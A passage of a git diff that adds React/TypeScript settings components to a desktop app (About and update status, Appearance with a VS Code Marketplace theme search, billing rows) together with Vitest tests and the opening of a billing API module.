+export function AboutSettings() {
+  const { t } = useI18n()
+  const a = t.settings.about
+  const version = useStore($desktopVersion)
+  const status = useStore($updateStatus)
+  const apply = useStore($updateApply)
+  const checking = useStore($updateChecking)
+  const [justChecked, setJustChecked] = useState(false)
+
+  // The version atom is loaded once at app boot, which makes About show a
+  // stale number after a self-update (the running binary is current, the
+  // displayed string is not). Re-read on mount so opening About always
+  // reflects the running build.
+  useEffect(() => {
+    void refreshDesktopVersion()
+  }, [])
+
+  const behind = status?.behind ?? 0
+  const supported = status?.supported !== false
+  const applying = apply.applying || apply.stage === 'restart'
+
+  const handleCheck = async () => {
+    setJustChecked(false)
+    const next = await checkUpdates()
+    setJustChecked(Boolean(next))
+  }
+
+  let statusLine: string
+  let statusTone: 'idle' | 'available' | 'error' = 'idle'
+
+  if (!supported) {
+    statusLine = status?.message ?? a.cantUpdate
+    statusTone = 'error'
+  } else if (status?.error) {
+    statusLine = a.cantReach
+    statusTone = 'error'
+  } else if (applying) {
+    statusLine = a.installing
+    statusTone = 'available'
+  } else if (behind > 0) {
+    statusLine = a.updateReady(behind)
+    statusTone = 'available'
+  } else if (status) {
+    statusLine = a.onLatest
+  } else {
+    statusLine = a.tapCheck
+  }
+
+  return (
+    <SettingsContent>
+      <div className="flex flex-col items-center gap-3 pt-6 pb-2 text-center">
+        <BrandMark className="size-16" />
+        <div>
+          <h2 className="text-lg font-semibold tracking-tight">{a.heading}</h2>
+          <p className="mt-1 text-xs text-muted-foreground">
+            {version?.appVersion ? a.version(version.appVersion) : a.versionUnavailable}
+          </p>
+        </div>
+      </div>
+
+      <div className="mx-auto mt-4 w-full max-w-2xl">
+        <SectionHeading icon={RefreshCw} title={a.updates} />
+
+        <div
+          className={cn(
+            'rounded-xl border px-4 py-3 text-sm',
+            statusTone === 'available' && 'border-primary/30 bg-primary/5 text-foreground',
+            statusTone === 'error' && 'border-destructive/35 bg-destructive/5 text-destructive',
+            statusTone === 'idle' && 'border-border/70 bg-muted/20 text-foreground'
+          )}
+        >
+          <div className="flex items-start gap-2">
+            {statusTone === 'available' ? (
+              <Codicon className="mt-0.5 size-4 shrink-0 text-primary" name="cloud-download" size="1rem" />
+            ) : statusTone === 'error' ? null : (
+              <CheckCircle2 className="mt-0.5 size-4 shrink-0 text-emerald-600 dark:text-emerald-400" />
+            )}
+            <div className="min-w-0">
+              <p className="font-medium">{statusLine}</p>
+              <p className="mt-1 text-xs text-muted-foreground">
+                {a.lastChecked(relativeTime(status?.fetchedAt, a))}
+                {justChecked && !checking ? a.justNowSuffix : ''}
+              </p>
+            </div>
+          </div>
+
+          <div className="mt-3 flex flex-wrap items-center gap-4">
+            <Button
+              disabled={checking || applying || !supported}
+              onClick={() => void handleCheck()}
+              size="sm"
+              variant="textStrong"
+            >
+              {checking ? <Loader2 className="size-3 animate-spin" /> : <RefreshCw className="size-3" />}
+              {checking ? a.checking : a.checkNow}
+            </Button>
+
+            {behind > 0 && supported && !applying && (
+              <>
+                <Button onClick={() => startActiveUpdate()} size="sm">
+                  {a.updateNow}
+                </Button>
+                <Button onClick={() => openUpdatesWindow()} size="sm" variant="textStrong">
+                  {a.seeWhatsNew}
+                </Button>
+              </>
+            )}
+
+            <Button asChild className="ml-auto" size="sm" variant="text">
+              <a
+                href={RELEASE_NOTES_URL}
+                onClick={event => {
+                  event.preventDefault()
+                  void window.clawcodexDesktop?.openExternal?.(RELEASE_NOTES_URL)
+                }}
+                rel="noreferrer"
+                target="_blank"
+              >
+                <ExternalLink className="size-3" />
+                {a.releaseNotes}
+              </a>
+            </Button>
+          </div>
+        </div>
+
+        <ListRow
+          description={a.automaticUpdatesDesc}
+          hint={a.branchCommit(status?.branch ?? 'unknown', status?.currentSha?.slice(0, 7) ?? 'unknown')}
+          title={a.automaticUpdates}
+        />
+
+        <UninstallSection />
+      </div>
+    </SettingsContent>
+  )
+}
diff --git a/ui-desktop/src/app/settings/appearance-settings.tsx b/ui-desktop/src/app/settings/appearance-settings.tsx
new file mode 100644
index 000000000..00002bfe5
--- /dev/null
+++ b/ui-desktop/src/app/settings/appearance-settings.tsx
@@ -0,0 +1,549 @@
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import { useEffect, useState } from 'react'
+
+import { LanguageSwitcher } from '@/components/language-switcher'
+import { Button } from '@/components/ui/button'
+import { SegmentedControl } from '@/components/ui/segmented-control'
+import type { DesktopMarketplaceSearchItem } from '@/global'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Check, Download, Loader2, Palette, Trash2 } from '@/lib/icons'
+import { selectableCardClass } from '@/lib/selectable-card'
+import { normalize } from '@/lib/text'
+import { cn } from '@/lib/utils'
+import { $backdrop, setBackdrop } from '@/store/backdrop'
+import { $embedAllowed, $embedMode, clearEmbedAllowed, type EmbedMode, setEmbedMode } from '@/store/embed-consent'
+import { $activeGatewayProfile, $profiles, normalizeProfileKey } from '@/store/profile'
+import { $reactionsEnabled, setReactionsEnabled } from '@/store/reactions-enabled'
+import { $toolViewMode, setToolViewMode } from '@/store/tool-view'
+import { $translucency, setTranslucency } from '@/store/translucency'
+import { $zoomPercent, setZoomPercent } from '@/store/zoom'
+import { getBaseColors, useTheme } from '@/themes/context'
+import { installVscodeThemeFromMarketplace } from '@/themes/install'
+import type { DesktopTheme } from '@/themes/types'
+import { $marketplaceInstalls, isUserTheme, removeUserTheme } from '@/themes/user-themes'
+
+import { MODE_OPTIONS } from './constants'
+import { PetSettings } from './pet-settings'
+import { ListRow, SectionHeading, SettingsContent } from './primitives'
+import { TerminalFontSetting } from './terminal-font-setting'
+
+function ThemePreview({ name, mode }: { name: string; mode: 'light' | 'dark' }) {
+  // Preview in the *current* mode: the dark palette in Dark, and the light
+  // palette in Light — synthesizing one for dark-only themes — so every card
+  // tracks the Light/Dark toggle, exactly like the app itself does.
+  const c = getBaseColors(name, mode)
+
+  return (
+    <div
+      className="h-20 overflow-hidden rounded-xl border shadow-xs"
+      style={{ backgroundColor: c.background, borderColor: c.border }}
+    >
+      <div className="flex h-full">
+        <div
+          className="w-12 border-r"
+          style={{
+            backgroundColor: c.sidebarBackground ?? c.muted,
+            borderColor: c.sidebarBorder ?? c.border
+          }}
+        />
+        <div className="flex flex-1 flex-col gap-2 p-3">
+          <div className="h-2.5 w-16 rounded-full" style={{ backgroundColor: c.foreground }} />
+          <div className="h-2 w-24 rounded-full" style={{ backgroundColor: c.mutedForeground }} />
+          <div className="mt-auto flex justify-end">
+            <div
+              className="h-5 w-16 rounded-full border"
+              style={{
+                backgroundColor: c.userBubble ?? c.muted,
+                borderColor: c.userBubbleBorder ?? c.border
+              }}
+            />
+          </div>
+        </div>
+      </div>
+    </div>
+  )
+}
+
+// UI scale presets, as zoom percentages. 100 is Chromium's actual-size
+// baseline; the shipped default is the 90% preset. Ids double as the percent
+// values sent to the main process. A Cmd/Ctrl +/- step landing between
+// presets highlights nothing, and the row description keeps showing the
+// exact current percent.
+const UI_SCALE_PRESETS = ['90', '100', '110', '125', '150', '175'] as const
+
+type UiScalePreset = (typeof UI_SCALE_PRESETS)[number]
+
+function matchUiScalePreset(percent: number): UiScalePreset | null {
+  return UI_SCALE_PRESETS.find(preset => Number(preset) === percent) ?? null
+}
+
+function useDebounced<T>(value: T, delayMs: number): T {
+  const [debounced, setDebounced] = useState(value)
+
+  useEffect(() => {
+    const handle = setTimeout(() => setDebounced(value), delayMs)
+
+    return () => clearTimeout(handle)
+  }, [value, delayMs])
+
+  return debounced
+}
+
+const compactNumber = new Intl.NumberFormat(undefined, { notation: 'compact', maximumFractionDigits: 1 })
+
+/**
+ * Live VS Code Marketplace theme search (the same backend as the Cmd-K "Install
+ * theme…" page). Renders below the local grid when there's a query: each row
+ * downloads + converts + installs via `installVscodeThemeFromMarketplace` and
+ * activates it. Extensions already imported locally are marked installed.
+ */
+function MarketplaceThemeResults({
+  query,
+  installs,
+  onInstalled
+}: {
+  query: string
+  installs: ReadonlyMap<string, DesktopTheme>
+  onInstalled: (name: string) => void
+}) {
+  const { t } = useI18n()
+  const copy = t.commandCenter.installTheme
+  const debounced = useDebounced(query.trim(), 300)
+  const [installingId, setInstallingId] = useState<string | null>(null)
+  const [error, setError] = useState<string | null>(null)
+
+  const search = useQuery({
+    enabled: debounced.length > 0,
+    queryFn: () => window.clawcodexDesktop?.themes?.searchMarketplace(debounced) ?? Promise.resolve([]),
+    queryKey: ['marketplace-themes-settings', debounced],
+    staleTime: 5 * 60 * 1000
+  })
+
+  // Already installed → just re-activate it; never re-download what we have.
+  const select = (item: DesktopMarketplaceSearchItem) => {
+    const owned = installs.get(item.extensionId)
+
+    if (owned) {
+      triggerHaptic('crisp')
+      onInstalled(owned.name)
+
+      return
+    }
+
+    void install(item)
+  }
+
+  const install = async (item: DesktopMarketplaceSearchItem) => {
+    if (installingId) {
+      return
+    }
+
+    setInstallingId(item.extensionId)
+    setError(null)
+
+    try {
+      const theme = await installVscodeThemeFromMarketplace(item.extensionId)
+
+      triggerHaptic('crisp')
+      onInstalled(theme.name)
+    } catch (e) {
+      setError(e instanceof Error ? e.message : copy.error)
+    } finally {
+      setInstallingId(null)
+    }
+  }
+
+  if (!debounced) {
+    return null
+  }
+
+  const header = (
+    <p className="mb-2 mt-4 text-[length:var(--conversation-caption-font-size)] font-medium text-(--ui-text-tertiary)">
+      From the VS Code Marketplace
+    </p>
+  )
+
+  if (search.isLoading) {
+    return (
+      <>
+        {header}
+        <p className="flex items-center gap-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+          <Loader2 className="size-3.5 animate-spin" />
+          {copy.loading}
+        </p>
+      </>
+    )
+  }
+
+  if (search.isError) {
+    return (
+      <>
+        {header}
+        <p className="text-[length:var(--conversation-caption-font-size)] text-(--ui-red)">{copy.error}</p>
+      </>
+    )
+  }
+
+  const results = search.data ?? []
+
+  if (results.length === 0) {
+    return (
+      <>
+        {header}
+        <p className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">{copy.empty}</p>
+      </>
+    )
+  }
+
+  return (
+    <>
+      {header}
+      {error && <p className="mb-2 text-[length:var(--conversation-caption-font-size)] text-(--ui-red)">{error}</p>}
+      <div className="grid gap-2 sm:grid-cols-2">
+        {results.map(item => {
+          const busy = installingId === item.extensionId
+          const done = installs.has(item.extensionId)
+
+          return (
+            <button
+              className={cn(
+                'flex items-center gap-2.5 px-2.5 py-2 text-left disabled:opacity-60',
+                selectableCardClass({ prominent: done })
+              )}
+              disabled={Boolean(installingId) && !busy}
+              key={item.extensionId}
+              onClick={() => select(item)}
+              type="button"
+            >
+              <Palette className="size-4 shrink-0 text-(--ui-text-tertiary)" />
+              <span className="min-w-0 flex-1">
+                <span className="block truncate text-[length:var(--conversation-text-font-size)] font-medium">
+                  {item.displayName}
+                </span>
+                <span className="block truncate text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                  {item.publisher}
+                  {item.installs > 0 ? ` · ${copy.installs(compactNumber.format(item.installs))}` : ''}
+                </span>
+              </span>
+              <span className="shrink-0 text-(--ui-text-tertiary)">
+                {busy ? (
+                  <Loader2 className="size-4 animate-spin" />
+                ) : done ? (
+                  <Check className="size-4 text-(--ui-green)" />
+                ) : (
+                  <Download className="size-4" />
+                )}
+              </span>
+            </button>
+          )
+        })}
+      </div>
+    </>
+  )
+}
+
+export function AppearanceSettings() {
+  const { t, isSavingLocale } = useI18n()
+  const { themeName, mode, resolvedMode, availableThemes, setTheme, setMode } = useTheme()
+  const toolViewMode = useStore($toolViewMode)
+  const zoomPercent = useStore($zoomPercent)
+  const embedMode = useStore($embedMode)
+  const embedAllowed = useStore($embedAllowed)
+  const translucency = useStore($translucency)
+  const reactionsEnabled = useStore($reactionsEnabled)
+  const backdrop = useStore($backdrop)
+  const installs = useStore($marketplaceInstalls)
+  const profiles = useStore($profiles)
+  const activeProfileKey = normalizeProfileKey(useStore($activeGatewayProfile))
+  const a = t.settings.appearance
+
+  const [query, setQuery] = useState('')
+
+  // One box does double duty: filter installed themes live (below), and run a
+  // name search against the VS Code Marketplace (the Cmd-K "Install theme…"
+  // backend) for anything not already installed.
+  const needle = normalize(query)
+
+  const filteredThemes = availableThemes
+    .filter(
+      theme =>
+        !needle ||
+        theme.label.toLowerCase().includes(needle) ||
+        theme.name.toLowerCase().includes(needle) ||
+        theme.description.toLowerCase().includes(needle)
+    )
+    // Active theme first; stable sort keeps the rest in their original order.
+    .sort((a, b) => Number(b.name === themeName) - Number(a.name === themeName))
+
+  // Themes save per profile. Surface that only when the user actually has more
+  // than one profile (single-profile installs never see the distinction).
+  const showProfileNote = profiles.length > 1
+
+  const activeProfileName =
+    profiles.find(profile => normalizeProfileKey(profile.name) === activeProfileKey)?.name ?? activeProfileKey
+
+  const modeOptions = MODE_OPTIONS.map(({ id, icon }) => ({ icon, id, label: t.settings.modeOptions[id].label }))
+
+  const toolOptions = [
+    { id: 'product', label: a.product },
+    { id: 'technical', label: a.technical }
+  ] as const
+
+  const embedOptions = [
+    { id: 'ask', label: a.embedsAsk },
+    { id: 'always', label: a.embedsAlways },
+    { id: 'off', label: a.embedsOff }
+  ] as const satisfies readonly { id: EmbedMode; label: string }[]
+
+  const uiScaleOptions = UI_SCALE_PRESETS.map(preset => ({ id: preset, label: `${preset}%` }))
+
+  const matchedScalePreset = matchUiScalePreset(zoomPercent)
+
+  return (
+    <SettingsContent>
+      <div>
+        <SectionHeading icon={Palette} title={a.title} />
+        <p className="max-w-2xl text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+          {a.intro}
+        </p>
+
+        <div className="mt-2">
+          <ListRow
+            action={<LanguageSwitcher />}
+            description={isSavingLocale ? t.language.saving : t.language.description}
+            title={t.language.label}
+          />
+
+          <ListRow
+            below={
+              <>
+                {/* One search box: filters your installed themes (the grid)
+                    and live-searches the VS Code Marketplace below. */}
+                <div className="mt-3">
+                  <input
+                    className="w-full rounded-lg border border-(--ui-stroke-tertiary) bg-(--ui-bg-quinary) px-3 py-1.5 text-[length:var(--conversation-caption-font-size)] outline-none placeholder:text-(--ui-text-tertiary) focus:border-(--ui-stroke-secondary)"
+                    onChange={event => setQuery(event.target.value)}
+                    placeholder="Search your themes or the VS Code Marketplace…"
+                    spellCheck={false}
+                    value={query}
+                  />
+                </div>
+
+                {/* Fixed-height scroll area so the (growing) theme list never
+                    runs the page long; the grid scrolls inside it. */}
+                <div className="mt-3 max-h-96 overflow-y-auto pr-1">
+                  {filteredThemes.length === 0 ? (
+                    needle ? (
+                      <p className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+                        No installed themes match "{query.trim()}".
+                      </p>
+                    ) : null
+                  ) : (
+                    <div className="grid gap-3 sm:grid-cols-2 xl:grid-cols-3">
+                      {filteredThemes.map(theme => {
+                        const active = themeName === theme.name
+                        const removable = isUserTheme(theme.name)
+
+                        return (
+                          <div className="group relative" key={theme.name}>
+                            <button
+                              className={cn('w-full p-2 text-left', selectableCardClass({ active, prominent: true }))}
+                              onClick={() => {
+                                triggerHaptic('crisp')
+                                setTheme(theme.name)
+                              }}
+                              type="button"
+                            >
+                              <ThemePreview mode={resolvedMode} name={theme.name} />
+                              <div className="mt-3 px-1">
+                                <div className="truncate text-[length:var(--conversation-text-font-size)] font-medium">
+                                  {theme.label}
+                                </div>
+                                <div className="mt-0.5 line-clamp-2 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+                                  {theme.description}
+                                </div>
+                              </div>
+                            </button>
+                            {removable && (
+                              <button
+                                aria-label={a.removeTheme}
+                                className="absolute right-1.5 top-1.5 grid size-6 place-items-center rounded-md bg-(--ui-bg-elevated)/80 text-(--ui-text-tertiary) opacity-0 backdrop-blur-sm transition hover:text-(--ui-red) focus-visible:opacity-100 group-hover:opacity-100"
+                                onClick={() => {
+                                  triggerHaptic('crisp')
+                                  removeUserTheme(theme.name)
+
+                                  // Re-normalize off the now-missing skin → default.
+                                  if (active) {
+                                    setTheme(theme.name)
+                                  }
+                                }}
+                                title={a.removeTheme}
+                                type="button"
+                              >
+                                <Trash2 className="size-3.5" />
+                              </button>
+                            )}
+                          </div>
+                        )
+                      })}
+                    </div>
+                  )}
+                  <MarketplaceThemeResults installs={installs} onInstalled={name => setTheme(name)} query={query} />
+                </div>
+                {showProfileNote && (
+                  <p className="mt-3 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+                    {a.themeProfileNote(activeProfileName)}
+                  </p>
+                )}
+              </>
+            }
+            description={a.themeDesc}
+            title={
+              <div className="flex items-center justify-between gap-3">
+                <span>{a.themeTitle}</span>
+                <SegmentedControl
+                  onChange={id => {
+                    triggerHaptic('crisp')
+                    setMode(id)
+                  }}
+                  options={modeOptions}
+                  value={mode}
+                />
+              </div>
+            }
+            wide
+          />
+
+          <ListRow
+            action={
+              <SegmentedControl
+                onChange={id => {
+                  triggerHaptic('selection')
+                  setZoomPercent(Number(id))
+                }}
+                options={uiScaleOptions}
+                value={matchedScalePreset ?? ('' as UiScalePreset)}
+              />
+            }
+            description={a.uiScaleDesc(zoomPercent)}
+            title={a.uiScaleTitle}
+          />
+
+          <TerminalFontSetting />
+
+          <ListRow
+            action={
+              <div className="flex items-center gap-3">
+                <input
+                  aria-label={a.translucencyTitle}
+                  className="h-1 w-40 cursor-pointer appearance-none rounded-full bg-(--ui-stroke-tertiary)"
+                  max={100}
+                  min={0}
+                  onChange={event => {
+                    triggerHaptic('selection')
+                    setTranslucency(Number(event.target.value))
+                  }}
+                  step={5}
+                  style={{ accentColor: 'var(--dt-primary)' }}
+                  type="range"
+                  value={translucency}
+                />
+                <span className="w-9 text-right text-[length:var(--conversation-caption-font-size)] tabular-nums text-(--ui-text-tertiary)">
+                  {translucency}%
+                </span>
+              </div>
+            }
+            description={a.translucencyDesc}
+            title={a.translucencyTitle}
+          />
+
+          <ListRow
+            action={
+              <SegmentedControl
+                onChange={id => {
+                  triggerHaptic('selection')
+                  setBackdrop(id === 'on')
+                }}
+                options={[
+                  { id: 'off', label: t.common.off },
+                  { id: 'on', label: t.common.on }
+                ]}
+                value={backdrop ? 'on' : 'off'}
+              />
+            }
+            description={a.backdropDesc}
+            title={a.backdropTitle}
+          />
+
+          <ListRow
+            action={
+              <SegmentedControl
+                onChange={id => {
+                  triggerHaptic('selection')
+                  setReactionsEnabled(id === 'on')
+                }}
+                options={[
+                  { id: 'off', label: t.common.off },
+                  { id: 'on', label: t.common.on }
+                ]}
+                value={reactionsEnabled ? 'on' : 'off'}
+              />
+            }
+            description={a.reactionsDesc}
+            title={a.reactionsTitle}
+          />
+
+          <ListRow
+            action={
+              <SegmentedControl
+                onChange={id => {
+                  triggerHaptic('selection')
+                  setToolViewMode(id)
+                }}
+                options={toolOptions}
+                value={toolViewMode}
+              />
+            }
+            description={a.toolViewDesc}
+            title={a.toolViewTitle}
+          />
+
+          <ListRow
+            action={
+              <div className="flex flex-col items-end gap-1.5">
+                <SegmentedControl
+                  onChange={id => {
+                    triggerHaptic('selection')
+                    setEmbedMode(id)
+                  }}
+                  options={embedOptions}
+                  value={embedMode}
+                />
+                {embedAllowed.length > 0 && (
+                  <Button
+                    onClick={() => {
+                      triggerHaptic('selection')
+                      clearEmbedAllowed()
+                    }}
+                    size="inline"
+                    variant="text"
+                  >
+                    {a.embedsReset(embedAllowed.length)}
+                  </Button>
+                )}
+              </div>
+            }
+            description={a.embedsDesc}
+            title={a.embedsTitle}
+          />
+        </div>
+      </div>
+
+      <div className="mt-6">
+        <PetSettings />
+      </div>
+    </SettingsContent>
+  )
+}
diff --git a/ui-desktop/src/app/settings/billing/account-row-value.tsx b/ui-desktop/src/app/settings/billing/account-row-value.tsx
new file mode 100644
index 000000000..4c54e4cba
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/account-row-value.tsx
@@ -0,0 +1,48 @@
+import { Button } from '@/components/ui/button'
+import { ExternalLink } from '@/lib/icons'
+
+import { Pill } from '../primitives'
+
+import { openExternal } from './open-external'
+import type { BillingAccountRowView } from './use-billing-state'
+
+export function RowValue({ onAction, row }: { onAction?: () => void; row: BillingAccountRowView }) {
+  // Destructure to a const so narrowing survives into the onClick closure below.
+  const { action } = row
+
+  return (
+    <div className="flex min-w-0 flex-wrap items-center justify-start gap-2 @2xl:justify-end">
+      {row.value && (
+        <span className="min-w-0 truncate text-[length:var(--conversation-text-font-size)] font-medium text-foreground">
+          {row.value}
+        </span>
+      )}
+      {row.pill && <Pill tone={row.pill.tone}>{row.pill.label}</Pill>}
+      {row.secondaryPill && <Pill>{row.secondaryPill}</Pill>}
+      {row.chips?.map(chip => (
+        <Button
+          disabled={chip.disabled}
+          key={chip.label}
+          onClick={chip.url ? () => openExternal(chip.url) : undefined}
+          size="sm"
+          type="button"
+          variant="outline"
+        >
+          {chip.label}
+        </Button>
+      ))}
+      {action && (
+        <Button
+          disabled={action.disabled}
+          onClick={action.disabled ? undefined : onAction ? onAction : () => openExternal(action.url)}
+          size="sm"
+          type="button"
+          variant="outline"
+        >
+          {action.label}
+          {!action.disabled && action.url && <ExternalLink className="size-3.5" />}
+        </Button>
+      )}
+    </div>
+  )
+}
diff --git a/ui-desktop/src/app/settings/billing/api.test.ts b/ui-desktop/src/app/settings/billing/api.test.ts
new file mode 100644
index 000000000..ff2bf0814
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/api.test.ts
@@ -0,0 +1,214 @@
+import { renderHook } from '@testing-library/react'
+import { beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { BillingChargeResponse, BillingStateResponse } from './types'
+
+const requestGatewayMock = vi.hoisted(() => vi.fn())
+
+vi.mock('@/app/gateway/hooks/use-gateway-request', () => ({
+  useGatewayRequest: () => ({ requestGateway: requestGatewayMock })
+}))
+
+import { createBillingApi, useBillingApi } from './api'
+
+describe('createBillingApi', () => {
+  beforeEach(() => {
+    requestGatewayMock.mockReset()
+    vi.restoreAllMocks()
+  })
+
+  it('passes successful RPC results through as data', async () => {
+    const state = {
+      auto_reload: null,
+      balance_display: '$10.00',
+      balance_usd: '10',
+      can_charge: true,
+      card: null,
+      charge_presets: ['10'],
+      charge_presets_display: ['$10'],
+      cli_billing_enabled: true,
+      is_admin: true,
+      logged_in: true,
+      max_usd: '100',
+      min_usd: '10',
+      monthly_cap: null,
+      ok: true,
+      org_name: 'Nous',
+      portal_url: 'https://portal.invalid/billing',
+      role: 'OWNER'
+    } satisfies BillingStateResponse
+
+    requestGatewayMock.mockResolvedValueOnce(state)
+
+    const { result } = renderHook(() => useBillingApi())
+    const response = await result.current.fetchBillingState()
+
+    expect(response).toEqual({ data: state, ok: true })
+    expect(requestGatewayMock).toHaveBeenCalledWith('billing.state', {})
+  })
+
+  it('normalizes object-shaped refusal envelopes', async () => {
+    requestGatewayMock.mockResolvedValueOnce({
+      error: {
+        kind: 'no_payment_method',
+        message: 'No saved card.',
+        portal_url: 'https://portal.invalid/billing',
+        retry_after: 30
+      },
+      ok: false
+    })
+
+    const api = createBillingApi(requestGatewayMock)
+    const response = await api.chargeStatus('ch_123')
+
+    expect(response).toMatchObject({
+      ok: false,
+      refusal: {
+        kind: 'no_payment_method',
+        message: 'No saved card.',
+        portalUrl: 'https://portal.invalid/billing',
+        retryAfter: 30
+      }
+    })
+    expect(requestGatewayMock).toHaveBeenCalledWith('billing.charge_status', { charge_id: 'ch_123' })
+  })
+
+  it('normalizes current string-shaped refusal envelopes', async () => {
+    requestGatewayMock.mockResolvedValueOnce({
+      error: 'monthly_cap_exceeded',
+      message: 'Monthly spend cap reached.',
+      ok: false,
+      payload: { remainingUsd: '4.50' },
+      portal_url: 'https://portal.invalid/billing'
+    })
+
+    const api = createBillingApi(requestGatewayMock)
+    const response = await api.updateAutoReload({ enabled: true, reload_to_usd: '100', threshold_usd: '25' })
+
+    expect(response).toMatchObject({
+      ok: false,
+      refusal: {
+        kind: 'monthly_cap_exceeded',
+        message: 'Monthly spend cap reached.',
+        payload: { remainingUsd: '4.50' },
+        portalUrl: 'https://portal.invalid/billing'
+      }
+    })
+    expect(requestGatewayMock).toHaveBeenCalledWith('billing.auto_reload', {
+      enabled: true,
+      threshold: '25',
+      top_up_amount: '100'
+    })
+  })
+
+  it('maps thrown gateway failures to transport refusals', async () => {
+    requestGatewayMock.mockRejectedValueOnce(new Error('connection closed'))
+
+    const api = createBillingApi(requestGatewayMock)
+    const response = await api.fetchSubscriptionState()
+
+    expect(response).toEqual({
+      ok: false,
+      refusal: {
+        kind: 'transport',
+        message: 'connection closed',
+        raw: expect.any(Error)
+      }
+    })
+  })
+
+  it('maps thrown timeout failures to timeout refusals', async () => {
+    requestGatewayMock.mockRejectedValueOnce(new Error('request timed out after 5000ms'))
+
+    const api = createBillingApi(requestGatewayMock)
+    const response = await api.stepUp()
+
+    expect(response).toEqual({
+      ok: false,
+      refusal: {
+        kind: 'timeout',
+        message: 'request timed out after 5000ms',
+        raw: expect.any(Error)
+      }
+    })
+  })
+
+  it('previews a subscription change with the chosen tier id', async () => {
+    requestGatewayMock.mockResolvedValueOnce({ effect: 'scheduled', ok: true, target_tier_name: 'Plus' })
+
+    const api = createBillingApi(requestGatewayMock)
+    const response = await api.previewSubscriptionChange('tier_plus')
+
+    expect(response).toEqual({ data: { effect: 'scheduled', ok: true, target_tier_name: 'Plus' }, ok: true })
+    expect(requestGatewayMock).toHaveBeenCalledWith('subscription.preview', { subscription_type_id: 'tier_plus' })
+  })
+
+  it('schedules a subscription change with the chosen tier id', async () => {
+    requestGatewayMock.mockResolvedValueOnce({ message: 'Downgrade scheduled.', ok: true })
+
+    const api = createBillingApi(requestGatewayMock)
+    const response = await api.scheduleSubscriptionChange('tier_plus')
+
+    expect(response).toEqual({ data: { message: 'Downgrade scheduled.', ok: true }, ok: true })
+    expect(requestGatewayMock).toHaveBeenCalledWith('subscription.change', { subscription_type_id: 'tier_plus' })
+  })
+
+  it('resumes (undoes) a scheduled change with no params', async () => {
+    requestGatewayMock.mockResolvedValueOnce({ message: 'Change cancelled.', ok: true })
+
+    const api = createBillingApi(requestGatewayMock)
+    const response = await api.resumeSubscription()
+
+    expect(response).toEqual({ data: { message: 'Change cancelled.', ok: true }, ok: true })
+    expect(requestGatewayMock).toHaveBeenCalledWith('subscription.resume', {})
+  })
+
+  it('surfaces an insufficient_scope refusal from a subscription preview', async () => {
+    requestGatewayMock.mockResolvedValueOnce({
+      error: { kind: 'insufficient_scope', message: 'billing:manage required' },
+      ok: false
+    })
+
+    const api = createBillingApi(requestGatewayMock)
+    const response = await api.scheduleSubscriptionChange('tier_plus')
+
+    expect(response).toMatchObject({ ok: false, refusal: { kind: 'insufficient_scope' } })
+  })
+
+  it('sends a step-up session id when provided', async () => {
+    requestGatewayMock.mockResolvedValueOnce({ granted: true, ok: true })
+
+    const api = createBillingApi(requestGatewayMock)
+    await api.stepUp('session-123')
+
+    expect(requestGatewayMock).toHaveBeenCalledWith('billing.step_up', { session_id: 'session-123' })
+  })
+
+  it('sends a minted charge idempotency key and reuses it on explicit retry', async () => {
+    vi.spyOn(crypto, 'randomUUID').mockReturnValue('11111111-1111-4111-8111-111111111111')
+
+    const submitted = {
+      charge_id: 'ch_123',
+      idempotency_key: '11111111-1111-4111-8111-111111111111',
+      ok: true
+    } satisfies BillingChargeResponse
+
+    requestGatewayMock.mockResolvedValue(submitted)
+
+    const api = createBillingApi(requestGatewayMock)
+    const first = await api.charge('25')
+    const second = await api.charge('25', first.idempotencyKey)
+
+    expect(first).toEqual({ data: submitted, idempotencyKey: '11111111-1111-4111-8111-111111111111', ok: true })
+    expect(second).toEqual({ data: submitted, idempotencyKey: '11111111-1111-4111-8111-111111111111', ok: true })
+    expect(crypto.randomUUID).toHaveBeenCalledTimes(1)
+    expect(requestGatewayMock).toHaveBeenNthCalledWith(1, 'billing.charge', {
+      amount_usd: '25',
+      idempotency_key: '11111111-1111-4111-8111-111111111111'
+    })
+    expect(requestGatewayMock).toHaveBeenNthCalledWith(2, 'billing.charge', {
+      amount_usd: '25',
+      idempotency_key: '11111111-1111-4111-8111-111111111111'
+    })
+  })
+})
diff --git a/ui-desktop/src/app/settings/billing/api.ts b/ui-desktop/src/app/settings/billing/api.ts
new file mode 100644
index 000000000..8632ae1b2
--- /dev/null
+++ b/ui-desktop/src/app/settings/billing/api.ts
@@ -0,0 +1,193 @@
+import { createContext, useContext, useMemo } from 'react'
+
+import { useGatewayRequest } from '@/app/gateway/hooks/use-gateway-request'
+
+import type {
+  BillingChargeResponse,
+  BillingChargeStatusResponse,
+  BillingErrorPayload,
+  BillingMutationResponse,
+  BillingRefusalCode,
+  BillingStateResponse,
+  SubscriptionPreviewResponse,
+  SubscriptionStateResponse
+} from './types'
+
+export type BillingErrorKind = BillingRefusalCode
+
+export interface BillingRefusal {
+  actor?: string
+  code?: string
+  kind: BillingErrorKind | 'timeout' | 'transport'
+  message: string
+  payload?: BillingErrorPayload
+  portalUrl?: string
+  raw?: unknown
+  recovery?: string
+  retryAfter?: number
+}
+
+export type BillingResult<T> = { data: T; ok: true } | { ok: false; refusal: BillingRefusal }
+
+export type BillingChargeResult = BillingResult<BillingChargeResponse> & { idempotencyKey: string }
+
+export interface UpdateAutoReloadInput {
+  enabled: boolean
+  reload_to_usd?: string
+  threshold_usd?: string
+}
+
+export type BillingRequestGateway = <T>(
+  method: string,
+  params?: Record<string, unknown>,
+  timeoutMs?: number,
+  signal?: AbortSignal
+) => Promise<T>
+
+export interface BillingApi {
+  charge: (amountUsd: string, idempotencyKey?: string) => Promise<BillingChargeResult>
